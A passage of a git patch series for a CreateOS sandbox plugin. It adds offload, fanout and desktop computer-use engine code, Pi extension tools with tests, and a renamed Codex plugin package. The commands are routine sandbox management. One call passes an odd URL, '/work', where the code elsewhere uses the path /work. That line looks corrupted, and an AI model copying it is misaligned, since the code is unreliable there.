that is the ONLY thing that + * authorises deletion. + * + * This is a pure function because it is the decision that loses data when it is + * wrong: a box torn down after a failed download takes the only complete copy + * of the build output with it, and no error is raised at the time. + */ +export function retentionReasons(state: RetentionState): string[] { + const reasons: string[] = []; + + if (state.infraFailure) { + reasons.push( + `infra/stream failure — box ${state.sandboxId} kept so the build cache survives. ` + + `Reconnect: createos sandbox exec --stream ${state.sandboxId} -- bash -lc 'tail -f ${REMOTE_LOG}'. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } else if (state.exitCode !== 0 && state.keepOnFail) { + reasons.push( + `command exited ${state.exitCode} — box ${state.sandboxId} kept. ` + + `Destroy: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + // Deliberately not an `else`: the output is still on the box whatever the + // exit code was, and destroying it is unrecoverable. + if (state.artifactPullFailed) { + const out = state.out ?? "the requested path"; + reasons.push( + `pull of '${out}' FAILED — artifacts were NOT retrieved, so box ${state.sandboxId} is KEPT ` + + `rather than destroyed with the only copy on it. Check that /work/${out} exists, then retry: ` + + `createos sandbox exec ${state.sandboxId} -- bash -lc 'cd /work && tar -c ${out}' | tar -x -C ${state.dir ?? "."}. ` + + `Destroy when you have what you need: createos sandbox rm -y ${state.sandboxId}`, + ); + } + + return reasons; +} + +/** + * A teardown that fails leaves the box running and billing, so it must reach + * the caller as loudly as a retained box does — `kept` becomes true because the + * box really is still there, whatever the caller asked for. + */ +export function cleanupFailureNote(sandboxId: string, error?: string): string { + return ( + `cleanup FAILED — sandbox ${sandboxId} is STILL ALLOCATED and still costing. ` + + `Destroy it by hand: createos sandbox rm -y ${sandboxId}` + + (error ? ` (${error})` : "") + ); +} + +/** + * Stage → run (keepalive) → pull → destroy, in one call. + * + * The box is torn down on every path, including a throw — but only when + * retentionReasons() says nothing needs it: an infra failure keeps the build + * cache, `keepOnFail` keeps a failed run for debugging, and a failed artifact + * pull keeps the only copy of the output. A teardown that itself fails is + * reported rather than swallowed, since the box goes on billing either way. + */ +export async function offload(opts: OffloadOptions): Promise { + assertAuth(); + const warnings: string[] = []; + const shape = opts.shape ?? "s-1vcpu-1gb"; + + // A compiled build on a 1 GB box dies with OOM or ENOSPC halfway through, + // which reads as a code failure rather than an undersized box. + const heavy = /cargo|maturin|torch|pip install|uv sync|uv run|pyo3/.test(opts.command); + if (heavy && /256mb|512mb|-1gb/.test(shape) && !opts.swapGB) { + warnings.push( + `heavy build on a small box (${shape}) — risk of OOM/ENOSPC. Try shape 's-2vcpu-2gb' or swapGB: 4.`, + ); + } + + const name = `cos-o-${process.pid}-${Math.floor(Math.random() * 32768)}`; + const { id, warning } = createBox({ ...opts, name, shape }); + if (warning) warnings.push(warning); + + let kept = false; + let result: OffloadResult | undefined; + let thrown: unknown; + + try { + if (!(await waitRunning(id))) throw new Error(`Box ${id} was not running after 30s`); + stage(id, opts.dir, opts.exclude); + if (opts.swapGB) setupSwap(id, opts.swapGB); + + const run = await runKeepalive(id, opts.command, "/work", { timeoutMs: opts.timeoutMs }); + + let pulledArtifacts: boolean | undefined; + if (opts.out) pulledArtifacts = pullArtifacts(id, opts.dir, opts.out); + + const reasons = retentionReasons({ + sandboxId: id, + infraFailure: run.infraFailure, + exitCode: run.exitCode, + keepOnFail: opts.keepOnFail, + artifactPullFailed: pulledArtifacts === false, + out: opts.out, + dir: opts.dir, + }); + kept = reasons.length > 0; + warnings.push(...reasons); + + result = { + sandboxId: id, + exitCode: run.exitCode, + log: run.log, + kept, + warnings, + pulledArtifacts, + }; + } catch (error) { + thrown = error; + } + + // Not in `finally`: a failed teardown has to reach the caller, and swallowing + // it there is exactly how a box keeps billing while the result says destroyed. + if (!kept) { + const destroyed = destroyBox(id); + if (!destroyed.ok) { + const note = cleanupFailureNote(id, destroyed.error); + if (result) { + result.kept = true; + result.warnings.push(note); + } else { + thrown = new Error( + `${thrown instanceof Error ? thrown.message : String(thrown)} — ${note}`, + ); + } + } + } + + if (thrown) throw thrown; + return result as OffloadResult; +} + +function setupSwap(id: string, gb: number): void { + if (!Number.isInteger(gb) || gb < 1 || gb > 64) { + throw new Error(`swapGB must be a whole number of GB between 1 and 64, got ${gb}`); + } + cli([ + "sandbox", + "exec", + id, + "--", + "bash", + "-lc", + `swapon --show 2>/dev/null | grep -q /cos.swap && exit 0; ` + + `( fallocate -l ${gb}G /cos.swap 2>/dev/null || dd if=/dev/zero of=/cos.swap bs=1M count=$(( ${gb}*1024 )) status=none 2>/dev/null ) ` + + `&& chmod 600 /cos.swap && mkswap /cos.swap >/dev/null 2>&1 && swapon /cos.swap 2>/dev/null || true`, + ]); +} + +// --------------------------------------------------------------------------- +// Fanout +// --------------------------------------------------------------------------- + +export interface FanoutOptions extends Omit { + commands: string[]; + /** Max boxes running at once. External keys have been observed to allow 2. */ + jobs?: number; +} + +export interface FanoutResult extends OffloadResult { + command: string; +} + +/** + * Run each command in its own throwaway box, `jobs` at a time. + * + * Concurrency is capped rather than unbounded because the control plane limits + * how many boxes an account may run at once — an unbounded fan-out just + * converts that limit into a pile of create failures. + */ +export async function fanout(opts: FanoutOptions): Promise { + const jobs = Math.max(1, opts.jobs ?? 2); + const queue = opts.commands.map((command, index) => ({ command, index })); + const results: FanoutResult[] = Array.from({ length: opts.commands.length }); + + async function worker(): Promise { + for (;;) { + const item = queue.shift(); + if (!item) return; + try { + const res = await offload({ ...opts, command: item.command }); + results[item.index] = { ...res, command: item.command }; + } catch (err: any) { + results[item.index] = { + command: item.command, + sandboxId: "", + exitCode: undefined, + log: String(err?.message ?? err), + kept: false, + warnings: ["offload threw before the command ran"], + }; + } + } + } + + await Promise.all(Array.from({ length: Math.min(jobs, queue.length) }, worker)); + return results; +} + +// --------------------------------------------------------------------------- +// Desktop / computer use +// --------------------------------------------------------------------------- + +/** + * `createos` has no computer or desktop command, so this is the only place the + * engine talks to the REST API directly. When the CLI grows a `sandbox + * computer` group, delete apiAuth()/api() and shell out like everything else. + */ +function apiBase(): string { + return process.env.CREATEOS_SANDBOX_URL ?? "https://api.sb.createos.sh"; +} + +/** + * Auth precedence MUST match the CLI's: an OAuth session wins, an api key is + * the fallback. Inverting it authenticates these calls as a different identity + * than every CLI-driven verb, and the symptom is a 404 on a box this process + * just created — which reads like a missing box, not an auth mismatch. + * + * fc rejects `Bearer` on user-facing routes and rejects a JWT sent under + * X-Api-Key, so the two headers are not interchangeable. + */ +function apiAuth(): Record { + const oauthPath = `${CREATEOS_DIR}/.oauth`; + if (existsSync(oauthPath)) { + try { + const oauth = JSON.parse(readFileSync(oauthPath, "utf-8")); + const expiresAt = Number(oauth.expires_at ?? 0); + // No refresh implementation here on purpose: the CLI refreshes in its own + // pre-flight and rewrites ~/.createos/.oauth, so poke it and re-read + // rather than carrying a second, subtly different refresh. + if (Date.now() / 1000 >= expiresAt - 60) { + cli(["-o", "json", "sandbox", "ls"]); + } + const token = JSON.parse(readFileSync(oauthPath, "utf-8")).access_token; + if (token) return { "X-Access-Token": token }; + } catch { + // fall through to key-based auth + } + } + if (process.env.CREATEOS_API_KEY) return { "X-Api-Key": process.env.CREATEOS_API_KEY }; + const tokenPath = `${CREATEOS_DIR}/.token`; + if (existsSync(tokenPath)) { + return { "X-Api-Key": readFileSync(tokenPath, "utf-8").trim() }; + } + throw new Error("Not signed in — run `createos login` or export CREATEOS_API_KEY"); +} + +/** + * Map the computer API's codes onto something actionable. Worth doing by hand: + * `desktop_unavailable` is fc's catch-all for every X failure, so the raw + * message never says whether the desktop is still booting or the action failed + * on a live desktop. + */ +function apiError(status: number, body: string, what: string): Error { + let message = ""; + try { + const parsed = JSON.parse(body); + message = parsed.message ?? parsed.error ?? ""; + } catch { + /* body was not JSON */ + } + switch (status) { + case 401: + case 403: + return new Error( + `Auth rejected (HTTP ${status}). The API key or browser session is invalid or expired — ` + + `ask the user to re-run \`createos login\`, or export CREATEOS_API_KEY.`, + ); + case 404: + return new Error( + `Not found (HTTP 404): ${message || what}. Either the box is gone, or it has no such ` + + `screen — computer-use needs a desktop image (start one with the desktop tool).`, + ); + case 409: + return new Error( + `The desktop did not answer (HTTP 409 ${message || "desktop_unavailable"}). fc returns ` + + `this both while the desktop is still booting AND when an action fails on a live ` + + `desktop, so do not read it as "the box is broken" — bring the desktop up first.`, + ); + case 429: + return new Error("Rate limited (429) — the control plane caps concurrent screenshots."); + case 501: + return new Error( + "501 desktop_tools_unavailable — this rootfs has no desktop tools. Recreate the box on the desktop image.", + ); + default: + return new Error(`API error HTTP ${status} on ${what}${message ? `: ${message}` : ""}`); + } +} + +async function api(method: string, path: string, body?: unknown): Promise { + const res = await fetch(`${apiBase()}${path}`, { + method, + headers: { + ...apiAuth(), + ...(body === undefined ? {} : { "Content-Type": "application/json" }), + }, + body: body === undefined ? undefined : JSON.stringify(body), + }); + const text = await res.text(); + if (!res.ok) throw apiError(res.status, text, `${method} ${path}`); + try { + const parsed = JSON.parse(text); + return parsed.data ?? parsed; + } catch { + return text; + } +} + +/** + * The desktop stack (Xvfb → XFCE → x11vnc → websockify) starts AFTER the box + * reports `running`, so every computer call 404s or 409s for the first while. + * Neither fc nor the SDK polls for this, so every caller has to. + */ +export async function desktopWait( + id: string, + screen = "screen-0", + timeoutSec = 120, +): Promise { + const deadline = Date.now() + timeoutSec * 1000; + while (Date.now() < deadline) { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screen?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + ); + if (res.ok) return; + if ([401, 403, 501].includes(res.status)) { + throw apiError(res.status, await res.text(), "desktop readiness"); + } + await sleep(2000); + } + throw new Error(`The desktop did not come up within ${timeoutSec}s on ${id} (${screen})`); +} + +/** Mint a live noVNC URL for a screen. Requires ingress to be on. */ +export async function desktopConnect( + id: string, + screen = "screen-0", +): Promise<{ url: string; expiresAt: string }> { + const enabled = cli(["sandbox", "edit", id, "--ingress", "on"]); + if (enabled.code !== 0) throw new Error(`Failed to enable ingress on ${id}`); + await desktopWait(id, screen); + const conn = await api( + "GET", + `/v1/sandboxes/${encodeURIComponent(id)}/computer/screens/${encodeURIComponent(screen)}/connect`, + ); + if (!conn?.url) { + throw new Error(`connect returned no URL — fc only mints one when ingress is enabled on ${id}`); + } + return { url: conn.url, expiresAt: conn.expires_at ?? "unknown" }; +} + +export type ComputerOp = + | { op: "screen" } + | { op: "cursor" } + | { op: "windows" } + | { op: "move"; x: number; y: number } + | { op: "click"; x?: number; y?: number } + | { op: "type"; text: string } + | { op: "key"; keys: string[] } + | { op: "open"; target: string }; + +/** Send one computer-use action to the desktop in a box. */ +export async function computer(id: string, action: ComputerOp, screen = "screen-0"): Promise { + const base = `/v1/sandboxes/${encodeURIComponent(id)}/computer`; + const q = `screen_id=${encodeURIComponent(screen)}`; + switch (action.op) { + case "screen": + return api("GET", `${base}/screen?${q}`); + case "cursor": + return api("GET", `${base}/cursor?${q}`); + case "windows": + return api("GET", `${base}/windows?${q}`); + case "move": + return api("POST", `${base}/mouse/move?${q}`, { x: action.x, y: action.y }); + case "click": + return api( + "POST", + `${base}/mouse/click?${q}`, + action.x === undefined ? {} : { x: action.x, y: action.y }, + ); + case "type": + return api("POST", `${base}/keyboard/type?${q}`, { text: action.text }); + case "key": + return api("POST", `${base}/keyboard/press?${q}`, { keys: action.keys }); + case "open": + return api("POST", `${base}/open?${q}`, { target: action.target }); + } +} + +/** Capture a screenshot to a local path. Returns that path. */ +export async function screenshot( + id: string, + outPath: string, + screen = "screen-0", +): Promise { + const res = await fetch( + `${apiBase()}/v1/sandboxes/${encodeURIComponent(id)}/computer/screenshot?screen_id=${encodeURIComponent(screen)}`, + { + headers: apiAuth(), + }, + ); + if (!res.ok) throw apiError(res.status, await res.text(), "screenshot"); + writeFileSync(outPath, Buffer.from(await res.arrayBuffer())); + return outPath; +} diff --git a/packages/pi-extension/src/tools.test.ts b/packages/pi-extension/src/tools.test.ts new file mode 100644 index 0000000..d2f0797 --- /dev/null +++ b/packages/pi-extension/src/tools.test.ts @@ -0,0 +1,59 @@ +import assert from "node:assert/strict"; +import { test } from "node:test"; + +import { computerAction, registerTools } from "./tools.ts"; + +test("registers the compact desktop surface", () => { + const tools: Array<{ name: string }> = []; + registerTools( + { + registerTool(tool: { name: string }) { + tools.push(tool); + }, + on() {}, + getFlag() { + return undefined; + }, + } as never, + () => null, + ); + + assert.deepEqual( + tools + .filter((tool) => + ["sandbox_desktop", "sandbox_computer", "sandbox_screenshot"].includes(tool.name), + ) + .map((tool) => ({ name: tool.name })), + [{ name: "sandbox_desktop" }, { name: "sandbox_computer" }, { name: "sandbox_screenshot" }], + ); + assert.equal( + tools.some((tool) => tool.name.startsWith("sandbox_desktop_")), + false, + ); +}); + +test("maps every sandbox_computer operation", () => { + assert.deepEqual(computerAction({ op: "screen" }), { op: "screen" }); + assert.deepEqual(computerAction({ op: "cursor" }), { op: "cursor" }); + assert.deepEqual(computerAction({ op: "windows" }), { op: "windows" }); + assert.deepEqual(computerAction({ op: "move", x: 1, y: 2 }), { op: "move", x: 1, y: 2 }); + assert.deepEqual(computerAction({ op: "click" }), { op: "click", x: undefined, y: undefined }); + assert.deepEqual(computerAction({ op: "type", text: "hello" }), { op: "type", text: "hello" }); + assert.deepEqual(computerAction({ op: "key", keys: ["ctrl", "l"] }), { + op: "key", + keys: ["ctrl", "l"], + }); + assert.deepEqual(computerAction({ op: "open", target: "https://example.test" }), { + op: "open", + target: "https://example.test", + }); +}); + +test("rejects incomplete sandbox_computer operations", () => { + assert.throws(() => computerAction({ op: "move", x: 1 }), /move needs x and y/); + assert.throws(() => computerAction({ op: "click", y: 1 }), /click needs both x and y/); + assert.throws(() => computerAction({ op: "type" }), /type needs text/); + assert.throws(() => computerAction({ op: "key", keys: [] }), /key needs a non-empty keys array/); + assert.throws(() => computerAction({ op: "open" }), /open needs a target/); + assert.throws(() => computerAction({ op: "invalid" }), /unknown desktop operation/); +}); diff --git a/packages/pi-extension/src/tools.ts b/packages/pi-extension/src/tools.ts index c492818..8ace9c5 100644 --- a/packages/pi-extension/src/tools.ts +++ b/packages/pi-extension/src/tools.ts @@ -6,6 +6,7 @@ * Pi extension best practices (snake_case, named promptGuidelines). */ +import { tmpdir } from "node:os"; import { isAbsolute } from "node:path"; import type { ExtensionAPI } from "@earendil-works/pi-coding-agent"; @@ -20,17 +21,55 @@ import { } from "@earendil-works/pi-coding-agent"; import { Type } from "typebox"; import * as cli from "./cli.ts"; +import * as engine from "./sandbox-engine.ts"; import { type FindParams, runRemoteFind } from "./find-tool.ts"; import { fanoutScenarios, type FanoutScenario } from "./fanout.ts"; import { validateLocalSyncSource } from "./startup-sync.ts"; import { type GrepParams, runRemoteGrep } from "./grep-tool.ts"; import { createBashOps, createEditOps, createLsOps, createReadOps, createWriteOps } from "./ops.ts"; +import { shortId } from "./util.ts"; export interface ToolSandbox { sandboxId: string; cwd: string; } +interface ComputerActionParams { + op: string; + x?: number; + y?: number; + text?: string; + keys?: string[]; + target?: string; +} + +export function computerAction(params: ComputerActionParams): engine.ComputerOp { + switch (params.op) { + case "screen": + case "cursor": + case "windows": + return { op: params.op }; + case "move": + if (params.x === undefined || params.y === undefined) throw new Error("move needs x and y"); + return { op: "move", x: params.x, y: params.y }; + case "click": + if ((params.x === undefined) !== (params.y === undefined)) + throw new Error("click needs both x and y, or neither"); + return { op: "click", x: params.x, y: params.y }; + case "type": + if (params.text === undefined) throw new Error("type needs text"); + return { op: "type", text: params.text }; + case "key": + if (!params.keys?.length) throw new Error("key needs a non-empty keys array"); + return { op: "key", keys: params.keys }; + case "open": + if (!params.target) throw new Error("open needs a target"); + return { op: "open", target: params.target }; + default: + throw new Error(`unknown desktop operation: ${params.op}`); + } +} + export function registerTools(pi: ExtensionAPI, getActive: () => ToolSandbox | null): void { const localCwd = process.cwd(); const localBash = createBashTool(localCwd); @@ -209,6 +248,199 @@ export function registerTools(pi: ExtensionAPI, getActive: () => ToolSandbox | n }, }); + // --- One-shot offload --- + + pi.registerTool({ + name: "sandbox_offload", + label: "Offload To Throwaway Sandbox", + description: + "Run a command in a throwaway sandbox and destroy it: stage a local directory to /work, run the command " + + "with a keepalive that survives a dropped stream, optionally pull artifacts back, then destroy the box. " + + "The upload excludes .git, node_modules, target, virtualenvs and large media.", + promptSnippet: "Run a build or test suite off this machine in a disposable sandbox", + promptGuidelines: [ + "Prefer sandbox_offload over sandbox_create + sandbox_exec for anything that finishes on its own. Hand-rolling that sequence drops egress restriction, the keepalive, and the guaranteed destroy, so a 'successful' run can leave an unrestricted box billing.", + "Set sandbox_offload's egress_presets to what the build actually fetches (python-uv, rust-cargo, npm, github). With nothing set the box can reach any host, which is the isolation this tool exists for.", + "Give sandbox_offload shape s-2vcpu-2gb or swap_gb for compiled builds (cargo, torch, pip install); the default 1 GB box dies with OOM partway through and reads like a code failure.", + ], + parameters: Type.Object({ + command: Type.String({ + description: "Shell command to run, with /work as the working directory", + }), + dir: Type.Optional( + Type.String({ + description: "Absolute local directory to stage (default: current directory)", + }), + ), + shape: Type.Optional(Type.String({ description: "Sandbox size (default: s-1vcpu-1gb)" })), + rootfs: Type.Optional(Type.String({ description: "Base image (default: devbox:1)" })), + egress_presets: Type.Optional( + Type.Array(Type.String(), { + description: + "Allow only what these ecosystems need: python-uv | rust-cargo | npm | github", + }), + ), + egress: Type.Optional( + Type.Array(Type.String(), { + description: "Extra allowed domains; composes with egress_presets", + }), + ), + egress_all: Type.Optional( + Type.Boolean({ description: "Unrestricted egress — trusted code only" }), + ), + exclude: Type.Optional(Type.Array(Type.String(), { description: "Extra upload excludes" })), + out: Type.Optional( + Type.String({ + description: "Path under /work to pull back into dir when the command finishes", + }), + ), + swap_gb: Type.Optional( + Type.Integer({ + minimum: 1, + maximum: 64, + description: "Swap to add before running — OOM headroom", + }), + ), + keep_on_fail: Type.Optional( + Type.Boolean({ + description: "Keep the box when the command exits non-zero, for debugging", + }), + ), + }), + async execute(_id, params) { + const dir = params.dir ?? localCwd; + if (!isAbsolute(dir)) throw new Error("dir must be an absolute path"); + const result = await engine.offload({ + dir, + command: params.command, + shape: params.shape, + rootfs: params.rootfs, + egress: params.egress, + egressPresets: params.egress_presets, + egressAll: params.egress_all, + exclude: params.exclude, + out: params.out, + swapGB: params.swap_gb, + keepOnFail: params.keep_on_fail, + }); + const header = `sandbox ${result.sandboxId} — exit code ${result.exitCode ?? "unknown"}${ + result.kept ? " (box KEPT)" : " (box destroyed)" + }`; + const warnings = result.warnings.map((warning) => `warning: ${warning}`); + const text = [header, ...warnings, "", result.log || "(no output)"].join("\n"); + return { content: [{ type: "text", text }], details: { result } }; + }, + }); + + // --- Desktop / computer use --- + + function desktopTarget(params: { sandbox_id?: string; screen?: string }): { + sandboxId: string; + screen?: string; + } { + const sandboxId = params.sandbox_id ?? requireSandbox()?.sandboxId; + if (!sandboxId) throw new Error("No active sandbox — run sandbox_desktop first"); + return { sandboxId, screen: params.screen }; + } + + const desktopParams = { + sandbox_id: Type.Optional( + Type.String({ description: "Sandbox to drive (default: the active one)" }), + ), + screen: Type.Optional(Type.String({ description: "Screen id (default: screen-0)" })), + }; + + pi.registerTool({ + name: "sandbox_desktop", + label: "Open Sandbox Desktop", + description: + "Enable ingress on a sandbox, wait for its desktop stack to finish booting, and mint a live noVNC URL " + + "for one screen. The sandbox must already have been created on a desktop image (rootfs desktop:1).", + promptSnippet: "Get a browser URL for a sandbox's graphical desktop", + promptGuidelines: [ + "Run sandbox_desktop before sandbox_computer or sandbox_screenshot — it waits for the desktop stack to come up.", + "When handing over the URL from sandbox_desktop, tell the user that anyone holding the link can drive the desktop, and when the token expires.", + ], + parameters: Type.Object(desktopParams), + async execute(_id, params) { + const { sandboxId, screen } = desktopTarget(params); + const { url, expiresAt } = await engine.desktopConnect(sandboxId, screen); + return { + content: [ + { + type: "text", + text: + `Desktop URL: ${url}\n\nAnyone holding this link can drive the desktop, and the token ` + + `expires ${expiresAt}. Re-running this tool mints a fresh link.`, + }, + ], + details: { url, expiresAt }, + }; + }, + }); + + pi.registerTool({ + name: "sandbox_computer", + label: "Control Sandbox Desktop", + description: + "Read a screen, cursor, or windows; move or click the mouse; type text; press keys; or open a URL " + + "in a sandbox desktop. Run sandbox_desktop first. Coordinates are raw X11 pixels.", + promptSnippet: "Control a sandbox desktop", + parameters: Type.Object({ + ...desktopParams, + op: Type.String({ + description: "screen | cursor | windows | move | click | type | key | open", + }), + x: Type.Optional(Type.Integer({ description: "X coordinate for move or click" })), + y: Type.Optional(Type.Integer({ description: "Y coordinate for move or click" })), + text: Type.Optional(Type.String({ description: "Text for type" })), + keys: Type.Optional( + Type.Array(Type.String(), { description: 'Key chord for key, e.g. ["ctrl", "l"]' }), + ), + target: Type.Optional(Type.String({ description: "URL or path for open" })), + }), + async execute(_id, params) { + const { sandboxId, screen } = desktopTarget(params); + const result = await engine.computer(sandboxId, computerAction(params), screen); + return { + content: [{ type: "text", text: JSON.stringify(result, null, 2) }], + details: { result }, + }; + }, + }); + + pi.registerTool({ + name: "sandbox_screenshot", + label: "Screenshot Sandbox Desktop", + description: + "Capture one screen of a sandbox desktop as a PNG on the local filesystem and return its path.", + promptSnippet: "Capture the screen of a sandbox desktop", + promptGuidelines: [ + "Call sandbox_screenshot before and after any desktop action you are unsure about, then read its returned path to see the image.", + ], + parameters: Type.Object({ + ...desktopParams, + path: Type.Optional( + Type.String({ description: "Absolute path to write the PNG to (default: a temp file)" }), + ), + }), + async execute(_id, params) { + const { sandboxId, screen } = desktopTarget(params); + if (params.path && !isAbsolute(params.path)) throw new Error("path must be absolute"); + const out = params.path ?? `${tmpdir()}/createos-${shortId(sandboxId)}-${Date.now()}.png`; + await engine.screenshot(sandboxId, out, screen); + return { + content: [ + { + type: "text", + text: `Screenshot written to ${out} — read that path to see the screen.`, + }, + ], + details: { path: out }, + }; + }, + }); + // --- Sandbox create --- pi.registerTool({ @@ -1139,5 +1371,5 @@ function fmtBytes(bytes: number): string { if (bytes === 0) return "0 B"; const units = ["B", "KB", "MB", "GB", "TB"]; const i = Math.floor(Math.log(bytes) / Math.log(1024)); - return `${(bytes / Math.pow(1024, i)).toFixed(1)} ${units[i]}`; + return `${(bytes / 1024 ** i).toFixed(1)} ${units[i]}`; } From 4cbb61acef6c9c4ef8b22f8a4be99ad1ae146040 Mon Sep 17 00:00:00 2001 From: pratikbin <68642400+pratikbin@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:55:09 +0530 Subject: [PATCH 5/7] feat(codex): run the cos driver, skill and hooks The Codex plugin shipped a skill that taught raw `createos` CLI verbs and a session hook that printed plain text. Three things were wrong with it: - The plugin could not be installed at all. Codex rejects scoped names ("only ASCII letters, digits, . _ and -"), so @createos/codex was refused; it is now createos-sandbox-codex. - The hook injected nothing. Codex parses hookSpecificOutput the same way Claude Code does, so plain stdout was discarded and the agent never learned the driver path. - Its skill had drifted 77 lines behind the canonical one. It now ships the same cos driver and skill as the Claude Code plugin, with session-start and pre-tool-use hooks. scripts/sync-shared.sh copies the shared files and CI fails on drift; symlinks are not an option because the Codex installer copies regular files only, so a symlinked repo installs with no driver and no skill at all. --- .claude-plugin/marketplace.json | 9 +- .github/workflows/shared-files.yml | 10 + CLAUDE.md | 2 +- README.md | 24 +- packages/claude-code-plugin/README.md | 6 +- .../scripts/offload-hint.sh | 7 +- .../skills/using-createos-sandbox/SKILL.md | 12 +- .../codex-plugin/.claude-plugin/plugin.json | 20 +- packages/codex-plugin/README.md | 123 ++++++---- packages/codex-plugin/manifest.json | 29 ++- packages/codex-plugin/scripts/cos | 225 +++++++++++++++++ packages/codex-plugin/scripts/offload-hint.sh | 27 +++ .../codex-plugin/scripts/session-start.sh | 50 ++-- .../skills/using-createos-sandbox/SKILL.md | 227 ++++++++++++------ .../references/lifecycle-and-images.md | 1 + scripts/sync-shared.sh | 60 +++++ 16 files changed, 659 insertions(+), 173 deletions(-) create mode 100644 .github/workflows/shared-files.yml create mode 100755 packages/codex-plugin/scripts/offload-hint.sh create mode 100755 scripts/sync-shared.sh diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 46f38e6..368f14f 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -1,7 +1,10 @@ { "name": "createos", "description": "NodeOps CreateOS plugins — disposable sandbox compute for Claude Code, Codex, and more.", - "owner": { "name": "NodeOps", "url": "https://createos.sh" }, + "owner": { + "name": "NodeOps", + "url": "https://createos.sh" + }, "plugins": [ { "name": "createos-sandbox", @@ -9,9 +12,9 @@ "description": "Run ad-hoc/heavy/untrusted code in disposable CreateOS Sandboxes; offload, parallel fanout, scratch shell, reusable box with sync, port tunnel, public expose, network clusters, S3 disks, WireGuard VPN, fork, pause/resume, and custom images." }, { - "name": "@createos/codex", + "name": "createos-sandbox-codex", "source": "./packages/codex-plugin", - "description": "Codex plugin for disposable CreateOS Sandboxes — skill + createos CLI for sandbox lifecycle, networking, disks, and VPN." + "description": "Codex plugin for disposable CreateOS Sandboxes — the `cos` driver, the using-createos-sandbox skill, and session-start / offload-hint hooks. Same engine as the Claude Code plugin." } ] } diff --git a/.github/workflows/shared-files.yml b/.github/workflows/shared-files.yml new file mode 100644 index 0000000..1d463fb --- /dev/null +++ b/.github/workflows/shared-files.yml @@ -0,0 +1,10 @@ +name: shared files + +on: [push, pull_request] + +jobs: + drift: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - run: scripts/sync-shared.sh --check diff --git a/CLAUDE.md b/CLAUDE.md index 442d686..9e554a9 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -84,7 +84,7 @@ claim aligned with `fc`. This repo is one of five in the product mesh. | **fc-sdk** | `../fc-sdk` | TypeScript SDK **+ `examples/`** | 🌐 public | public SDK methods, wire types, example apps | | **createos-cli** | `../createos-cli` | Go CLI | 🌐 public | commands, flags, help/UX text | | **website-04** | `../website-04` (`content/docs/Sandbox`) | public docs | 🌐 public | REST / SDK / CLI reference + concept pages | -| **createos** | `../createos-claude-plugins` | Plugin marketplace; Claude Code, Pi, OpenCode integrations over the `createos` CLI | 🌐 public | skills, slash commands, hooks, tools | +| **createos** | `../createos-plugin` | Plugin marketplace; Claude Code, Pi, OpenCode integrations over the `createos` CLI | 🌐 public | skills, slash commands, hooks, tools | ### What counts as a shared surface diff --git a/README.md b/README.md index a13b348..a2db28d 100644 --- a/README.md +++ b/README.md @@ -35,7 +35,7 @@ Heavy builds, flaky test suites, and untrusted code don't belong on your laptop. ```bash # 1. Add the marketplace + install the plugin -/plugin marketplace add NodeOps-app/createos-claude-plugins +/plugin marketplace add NodeOps-app/createos-plugin /plugin install createos-sandbox@createos # 2. Offload a heavy test run to a throwaway box (auto-destroys) @@ -46,7 +46,7 @@ Heavy builds, flaky test suites, and untrusted code don't belong on your laptop. ```bash # 1. Install the extension from this repository -pi install git:github.com/NodeOps-app/createos-claude-plugins +pi install git:github.com/NodeOps-app/createos-plugin # 2. Start Pi locally with CreateOS sandbox tools available pi @@ -65,10 +65,10 @@ pi --inside-createos-sandbox --createos-watch ```bash # 1. Add the marketplace -codex plugin marketplace add NodeOps-app/createos-claude-plugins +codex plugin marketplace add NodeOps-app/createos-plugin # 2. Install the plugin -codex plugin add @createos/codex@createos +codex plugin add createos-sandbox-codex --marketplace createos # 3. Launch codex — the skill teaches createos CLI usage codex @@ -88,7 +88,7 @@ opencode ```bash # 1. Install the bundle from this monorepo checkout -dsh plugin --profile web add /path/to/createos-claude-plugins/packages/dsh-createos +dsh plugin --profile web add /path/to/createos-plugin/packages/dsh-createos # 2. Configure CreateOS sandbox credentials export CREATEOS_SANDBOX_API_KEY='...' @@ -106,7 +106,7 @@ The Claude Code, Codex, Pi, and OpenCode integrations use the `createos` CLI, wh | ------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [**claude-code-plugin**](./packages/claude-code-plugin) | Hooks-based Claude Code plugin — offload, parallel fanout, scratch shell, reusable box with sync, port tunnel, public HTTPS expose, private-network clusters, BYO-S3 disk mounts, WireGuard VPN, and snapshot/fork — all driving the authed `createos` CLI. | | [**pi-extension**](./packages/pi-extension) | Pi coding agent extension with all 33 `sandbox_*` tools for lifecycle, configuration, port tunnels, file sync, private networks, persistent disks, and device VPN. Built-in tools route remotely only with `--inside-createos-sandbox`. | -| [**@createos/codex**](./packages/codex-plugin) | Codex plugin — skill that teaches the `createos` CLI for sandbox lifecycle, networking, disks, and VPN. | +| [**createos-sandbox-codex**](./packages/codex-plugin) | Codex plugin — the `cos` driver, the `using-createos-sandbox` skill, and session-start / offload-hint hooks. Same engine as the Claude Code plugin. | | [**@createos/opencode**](./packages/opencode-plugin) | OpenCode plugin with 33 sandbox tools (`sandbox_exec`, `sandbox_push`, `sandbox_pull`, networks, disks, VPN, sync) and system prompt injection for sandbox-first workflows. | | [**@nodeops-createos/dsh-createos**](./packages/dsh-createos) | DeepSeek Harness bundle that replaces `ctx.fs` and `ctx.subprocess` together, so Bash, file, LSP, and PTY consumers operate inside one CreateOS sandbox without provider-specific tool forks. | | [**createos.sandbox**](./packages/herdr-plugin) | Herdr plugin that runs Claude Code, Codex, OpenCode, Pi, or Cursor **inside** a CreateOS Sandbox and attaches its PTY to a Herdr pane. One pane maps to one sandbox, with filtered upload, two-way sync, patch apply back, and Herdr agent detection. | @@ -225,28 +225,28 @@ Full reference in [dsh-createos/README.md](./packages/dsh-createos/README.md). **From GitHub (recommended):** ``` -/plugin marketplace add NodeOps-app/createos-claude-plugins +/plugin marketplace add NodeOps-app/createos-plugin /plugin install createos-sandbox@createos ``` **From a local checkout:** ``` -git clone 